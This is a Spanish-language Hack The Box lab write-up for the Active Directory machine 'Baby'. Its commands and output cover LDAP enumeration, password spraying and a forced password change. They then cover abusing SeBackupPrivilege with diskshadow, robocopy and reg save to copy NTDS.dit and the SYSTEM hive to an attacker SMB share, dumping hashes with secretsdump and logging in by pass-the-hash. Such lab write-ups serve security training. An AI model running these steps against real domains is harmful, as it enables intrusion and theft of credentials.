Post

Baby

Baby

Info

Baby Baby - HTB (Easy)

Baby es una máquina de dificultad Easy de Hack The Box enfocada en entornos de Active Directory. La Cyber Kill Chain comienza con enumeración anónima por LDAP donde se filtran credenciales en el campo description de un usuario, seguido de password spraying y escalada de privilegios abusando de SeBackupPrivilege para volcar el NTDS.dit y obtener el hash NT del Administrador.

Nmap

Antes de comenzar verifico que el host se encuentre activo enviando una traza ICMP. Además, esto me permite obtener mediante el valor del TTL (time to live) una aproximación del sistema operativo que podría estar ejecutando el objetivo.

1
2
3
4
5
6
7
8
ping -c 1 10.129.234.71

PING 10.129.234.71 (10.129.234.71) 56(84) bytes of data.
64 bytes from 10.129.234.71: icmp_seq=1 ttl=127 time=119 ms

--- 10.129.234.71 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 119.177/119.177/119.177/0.000 ms

Un TTL cercano a 128 suele estar asociado a sistemas Windows. Sin embargo, este valor puede modificarse, por lo que NO debe considerarse un método definitivo para identificar el sistema operativo.

Una vez confirmada la conectividad con el host, realizo un escaneo completo de puertos utilizando nmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.129.234.71 -oG allPorts

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
9389/tcp  open  adws

...SNIP...

Los puertos descubiertos apuntan claramente a un Windows Server con rol de Domain Controller: Kerberos (88), LDAP (389/636/3268/3269), SMB (445), RDP (3389) y WinRM (5985).

Parseo de puertos y detección de versiones

Para facilitar el siguiente escaneo, realizo un parseo con RegEx de los puertos abiertos y almaceno el resultado en la variable ports.

1
2
3
4
ports=$(cat allPorts | grep -oP '\d{1,5}(?=/open)' | xargs | tr ' ' ',')

# output
53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49664,49669,53617,58281,58282,60499,60512

También se puede usar la función extractPorts que previamente debe ser añadida al archivo .zshrc o .bashrc.

A continuación realizo detección de servicios y versiones sobre los puertos identificados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
nmap -sCV -p$ports 10.129.234.71 -oN version

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-05-30 02:06:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: baby.vl, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: BABY
|   NetBIOS_Domain_Name: BABY
|   NetBIOS_Computer_Name: BABYDC
|   DNS_Domain_Name: baby.vl
|   DNS_Computer_Name: BabyDC.baby.vl
|   DNS_Tree_Name: baby.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-05-30T02:07:35+00:00
| ssl-cert: Subject: commonName=BabyDC.baby.vl
| Not valid before: 2026-05-29T01:40:03
|_Not valid after:  2026-11-28T01:40:03
|_ssl-date: 2026-05-30T02:08:14+00:00; -13s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0

...SNIP...

Service Info: Host: BABYDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-05-30T02:07:35
|_  start_date: N/A
|_clock-skew: mean: -13s, deviation: 0s, median: -13s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled and required

La firma SMB obligatoria indica que todas las comunicaciones SMB deben estar firmadas criptográficamente. Lo que descarta ataques de tipo SMB Relay (Responder + ntlmrelayx). Por lo que me enfocaré en enumeración SMB, LDAP y Kerberos.

Este escaneo revela información interesante:

  • Hostname: BABYDC
  • Dominio: baby.vl
  • FQDN: BABYDC.baby.vl
  • OS: Windows Server 2022 (Build 20348)

Configuración inicial de Kerberos

ntpdate

Al tratarse de un entorno de Active Directory, considero una buena práctica sincronizar mi equipo con el DC antes de continuar. Aunque en este caso la diferencia horaria es mínima (-13s), muchas técnicas basadas en Kerberos pueden fallar cuando existe un desfase significativo (mayor a 5 minutos) entre ambos sistemas.

1
sudo ntpdate 10.129.234.71

/etc/hosts

A continuación genero automáticamente las entradas DNS utilizando netexec asegurando la resolución DNS del dominio.

1
2
3
4
nxc smb 10.129.234.71 --generate-hosts-file hosts
cat hosts | sudo tee -a /etc/hosts

10.129.234.71     BABYDC.baby.vl baby.vl BABYDC

Esto evitará problemas de resolución DNS durante la interacción con servicios que dependen de Kerberos.

SMB (Null Session)

SMB está limitado con null y Guest session, pero confirma lo ya visto con nmap.

1
2
3
4
nxc smb baby.vl -u "" -p "" --users

SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [+] baby.vl\:

LDAP (Null Session)

Por otro lado, LDAP permite enumeración anónima exitosa, por lo que puedo realizar consultas directamente contra Active Directory sin necesidad de credenciales.

Obtener todos los objetos del dominio

1
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" "(objectClass=*)"

El output muestra todos los objetos accesibles, junto con sus atributos y propiedades.

La enumeración LDAP suele ser una de las fuentes más valiosas de información en Active Directory. Dependiendo de la configuración, puede exponer usuarios, grupos, descripciones e incluso credenciales almacenadas incorrectamente.

Obtener usuarios del dominio

Para reducir el ruido, filtro únicamente los objetos de tipo person y almaceno los usuarios encontrados en el archivo users.

1
2
3
4
5
6
7
8
9
10
11
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" "(objectClass=person)" | grep sAMAccountName | awk 'NF{print $NF}' FS=': ' > users

Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell

Obtener atributo description

Los administradores a veces dejan notas operativas, información sensible o contraseñas temporales en el campo description de los objetos de AD. Por eso es bueno revisar este atributo durante esta fase.

1
2
3
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" "(objectClass=*)" | grep description | awk 'NF{print $NF}' FS=': '

Set initial password to BabyStart123!

Encuentro una contraseña: BabyStart123!, la almaceno en un archivo de passwords y sigo husmeando.

Obtener atributo distinguishedName

Para obtener una visión más completa de AD, enumero los atributos distinguishedName (DN).

1
2
3
4
5
ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" "(objectClass=*)" | grep dn | awk 'NF{print $NF}' FS=': '

CN=Administrator,CN=Users,DC=baby,DC=vl
CN=krbtgt,CN=Users,DC=baby,DC=vl
CN=Caroline Robinson,OU=it,DC=baby,DC=vl

El atributo distinguishedName identifica de forma única un objeto dentro de Active Directory y además revela su ubicación dentro de la estructura jerárquica del dominio.

Gracias a esta consulta encuentro usuarios que no aparecieron durante la enumeración anterior.

Siguiendo la convención de nombres del dominio (Name.Lastname), agrego estos usuarios al archivo users.

1
printf 'Administrator\nkrbtgt\nCaroline.Robinson' >> users

La lista final queda de la siguiente manera:

1
2
3
4
5
6
7
8
9
10
11
12
Guest
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
Administrator
krbtgt
Caroline.Robinson

Con una lista más completa de usuarios y una posible contraseña encontrada durante la enumeración LDAP, el siguiente paso será validar las cuentas mediante Kerberos y comprobar si la contraseña identificada es reutilizada dentro del dominio.

Validación de usuarios con Kerbrute

Antes de hacer password spraying verifico qué usuarios son válidos en el dominio para evitar bloqueos de cuentas innecesarias. Utilizo Kerbrute, una herramienta que permite enumerar usuarios válidos aprovechando las respuestas del servicio Kerberos.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/opt/kerbrute/kerbrute userenum --dc 10.129.234.71 -d baby.vl users

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: dev (n/a) - 05/29/26 - Ronnie Flathers @ropnop

2026/05/29 23:05:04 >  Using KDC(s):
2026/05/29 23:05:04 >  	10.129.234.71:88

2026/05/29 23:05:04 >  [+] VALID USERNAME:	Ashley.Webb@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Hugh.George@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Connor.Wilkinson@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Joseph.Hughes@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Jacqueline.Barnett@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Kerry.Wilson@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Teresa.Bell@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Leonard.Dyer@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Administrator@baby.vl
2026/05/29 23:05:04 >  [+] VALID USERNAME:	Caroline.Robinson@baby.vl
2026/05/29 23:05:04 >  Done! Tested 12 usernames (10 valid) in 0.545 seconds

Todos los usuarios obtenidos (a excepción de krbtgt y Guest) previamente resultan ser válidos dentro del dominio.

Intento un ataque ASREPRoast, pero sin éxito. Dado que ya dispongo de una posible contraseña, el siguiente paso lógico es realizar Password Spraying.

Password Spraying SMB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
nxc smb baby.vl -u users -p 'BabyStart123!'

SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Guest:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Administrator:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\krbtgt:BabyStart123! STATUS_LOGON_FAILURE
SMB         10.129.234.71   445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

Estado STATUS_PASSWORD_MUST_CHANGE: La contraseña es correcta para Caroline.Robinson, pero la cuenta ha sido creada recientemente o está configurada con la opción “User must change password at next logon”, lo que obliga al usuario a renovar la contraseña antes de utilizar la cuenta normalmente.

Renovando la contraseña de Caroline

Para aprovechar esta situación utilizo impacket-changepasswd, que permite cambiar la contraseña incluso cuando la cuenta está marcada para renovación obligatoria.

1
2
3
4
5
6
7
8
9
impacket-changepasswd 'baby.vl/Caroline.Robinson:BabyStart123!@10.129.234.71' -newpass 'n3wP4ss2026!'

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Changing the password of baby.vl\Caroline.Robinson
[*] Connecting to DCE/RPC as baby.vl\Caroline.Robinson
[!] Password is expired or must be changed, trying to bind with a null session.
[*] Connecting to DCE/RPC as null session
[*] Password was changed successfully.

Validación SMB y WinRM

Primero verifico las credenciales mediante SMB.

1
2
3
4
nxc smb baby.vl -u Caroline.Robinson -p 'n3wP4ss2026!'

SMB         10.129.234.71   445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.234.71   445    BABYDC           [+] baby.vl\Caroline.Robinson:n3wP4ss2026!

La autenticación es válida. Ahora verifico si la cuenta tiene acceso remoto mediante WinRM.

1
nxc winrm baby.vl -u Caroline.Robinson -p 'n3wP4ss2026!'
1
2
WINRM       10.129.234.71   5985   BABYDC           [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM       10.129.234.71   5985   BABYDC           [+] baby.vl\Caroline.Robinson:n3wP4ss2026! (Pwn3d!)

El resultado indica que el usuario pertenece al grupo Remote Management Users, por lo que puedo obtener una consola remota mediante WinRM.

user.txt

Con acceso interactivo al servidor, puedo obtener la primera flag.

1
2
3
4
5
6
7
8
9
10
11
evil-winrm-py -i baby.vl -u Caroline.Robinson -p 'n3wP4ss2026!'

          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'baby.vl:5985' as 'Caroline.Robinson'
evil-winrm-py PS C:\Users\Caroline.Robinson\Documents> type ..\Desktop\user.txt
ba99f73c5769df40e4595f3939ae4644

El siguiente paso consiste en enumerar privilegios y buscar una vía de escalada hacia Administrator.

PrivEsc

Enumeración de privilegios

1
2
3
4
5
6
7
8
9
10
11
12
13
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State  
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Tengo el privilegio SeBackupPrivilege que por defecto es asignado a los usuarios que pertenezcan al grupo Backup Operators.

SeBackupPrivilege: Este privilegio permite leer cualquier archivo o directorio del sistema ignorando permisos NTFS. En un Domain Controller, esto permite acceder al NTDS.dit. Con este archivo y el hive SYSTEM se pueden dumpear los hashes NT de todos los usuarios del dominio.

Es por ello, que suele considerarse un privilegio con potencial de escalada.

Abusando de SeBackupPrivilege

Creando una shadow copy con diskshadow

NO se puede copiar NTDS.dit directamente mientras el servicio NTDS se está ejecutando.

La solución: usar Volume Shadow Copy (VSS) para crear una snapshot del disco y acceder a una copia del archivo.

Antes que nada crearé un directorio, donde almacenaré los archivos necesarios.

1
2
mkdir C:\Windows\Temp\privesc
cd C:\Windows\Temp\privesc

A continuación, desde mi máquina atacante crearé el script giveMeNTDS.dsh con el siguiente contenido.

1
2
3
4
5
6
cat << EOF > giveMeNTDS.dsh
set context persistent nowriters
add volume c: alias pwn
create    
expose %pwn% z:                                                
EOF

Este script creará una shadow copy del disco C: y la monta como unidad Z:.

Luego convertiré el archivo a formato DOS, requisito necesario para que herramientas de Windows como diskshadow.exe lo interpreten correctamente.

1
2
3
unix2dos giveMeNTDS.dsh 

unix2dos: converting file giveMeNTDS.dsh to DOS format...

Levantaré un recurso SMB utilizando Impacket para transferir el archivo a la máquina víctima.

1
impacket-smbserver smbFolder $(pwd) -smb2support -debug

Desde la víctima copiaré el archivo al directorio de trabajo.

1
copy \\10.10.16.43\smbFolder\giveMeNTDS.dsh .\giveMeNTDS.dsh

Ahora, ejecutaré diskshadow indicando el script creado anteriormente.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
diskshadow.exe /s giveMeNTDS.dsh

Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  BABYDC,  5/30/2026 4:50:58 AM

-> set context persistent nowriters
-> add volume c: alias pwn
-> create
Alias pwn for shadow ID {122f69c1-dfee-4d3c-ad67-4a77d95b499f} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {90acc5a7-7185-4283-b37b-e230e1bd08de} set as environment variable.

Querying all shadow copies with the shadow copy set ID {90acc5a7-7185-4283-b37b-e230e1bd08de}

	* Shadow copy ID = {122f69c1-dfee-4d3c-ad67-4a77d95b499f}		%pwn%
		- Shadow copy set: {90acc5a7-7185-4283-b37b-e230e1bd08de}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{711fc68a-0000-0000-0000-100000000000}\ [C:\]
		- Creation time: 5/30/2026 4:50:59 AM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
		- Originating machine: BabyDC.baby.vl
		- Service machine: BabyDC.baby.vl
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %pwn% z:
-> %pwn% = {122f69c1-dfee-4d3c-ad67-4a77d95b499f}
The shadow copy was successfully exposed as z:\.
->

La salida confirma que el snapshot fue creado correctamente y expuesto como la unidad Z:.

Copiando NTDS.dit con robocopy (modo backup)

Una vez disponible la shadow copy, utilizaré robocopy en modo backup (/b) para copiar NTDS.dit desde la instantánea hacia mi directorio actual de trabajo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
robocopy /b z:\windows\ntds . ntds.dit

...SNIP...

100%  
100%  

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           356,962,042 Bytes/sec.
   Speed :            20,425.531 MegaBytes/min.
   Ended : Saturday, May 30, 2026 4:55:30 AM

Tras completarse la copia, verifico que el archivo se encuentre en mi directorio de trabajo.

1
2
3
4
5
6
7
8
9
dir

    Directory: C:\Windows\Temp\privesc


Mode                 LastWriteTime         Length Name                                                                  
----                 -------------         ------ ----                                                                  
-a----         5/30/2026   4:49 AM             84 giveMeNTDS.dsh                                                        
-a----         5/30/2026   1:39 AM       16777216 ntds.dit  

Copiando el HIVE SYSTEM

Además de NTDS.dit, necesito una copia del hive SYSTEM. Para ello utilizaré reg save.

1
2
3
reg save HKLM\SYSTEM C:\Windows\Temp\privesc\SYSTEM

The operation completed successfully.

Ahora transferiré ambos archivos a mi máquina atacante utilizando el mismo recurso SMB.

1
2
copy .\ntds.dit \\10.10.17.54\smbFolder\ntds.dit
copy .\SYSTEM \\10.10.17.54\smbFolder\SYSTEM

Una vez transferidos, verificaré su integridad calculando el hash MD5 de cada archivo.

1
2
3
4
5
Get-FileHash -Algorithm MD5 SYSTEM | select Hash

Hash                            
----                            
F8B37CF8E6253D61E2D2EFEE7BD23DF3

Ahora verifico el hash del archivo en mi máquina

1
2
3
md5sum SYSTEM

f8b37cf8e6253d61e2d2efee7bd23df3  SYSTEM

Los hashes coinciden, confirmando que la transferencia se realizó correctamente. Repito el mismo procedimiento para ntds.dit, obteniendo igualmente resultados idénticos.

Dumping NTDS.dit

Con ambos archivos en mi máquina atacante, utilizaré secretsdump para extraer los hashes NT almacenados en ntds.dit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL

Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 41d56bf9b458d01951f592ee4ba00ea6
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee4457ae59f1e3fbd764e33d9cef123d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
BABYDC$:1000:aad3b435b51404eeaad3b435b51404ee:3d538eabff6633b62dbaa5fb5ade3b4d:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6da4842e8c24b99ad21a92d620893884:::
...SNIP...

De la salida anterior obtengo el hash NT del usuario Administrator:

root.txt

Con el hash NT del usuario Administrator, puedo autenticarme mediante Pass-the-Hash a través de WinRM sin necesidad de conocer la contraseña en texto claro.

1
2
3
4
5
6
7
8
9
10
11
evil-winrm-py -i baby.vl -u Administrator -H ee4457ae59f1e3fbd764e33d9cef123d

          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'baby.vl:5985' as 'Administrator'
evil-winrm-py PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
5787571a223e9d7776de5b4e4d7d1e1f

Obtengo acceso como Administrator y puedo leer la última flag.

This post is licensed under CC BY 4.0 by the author.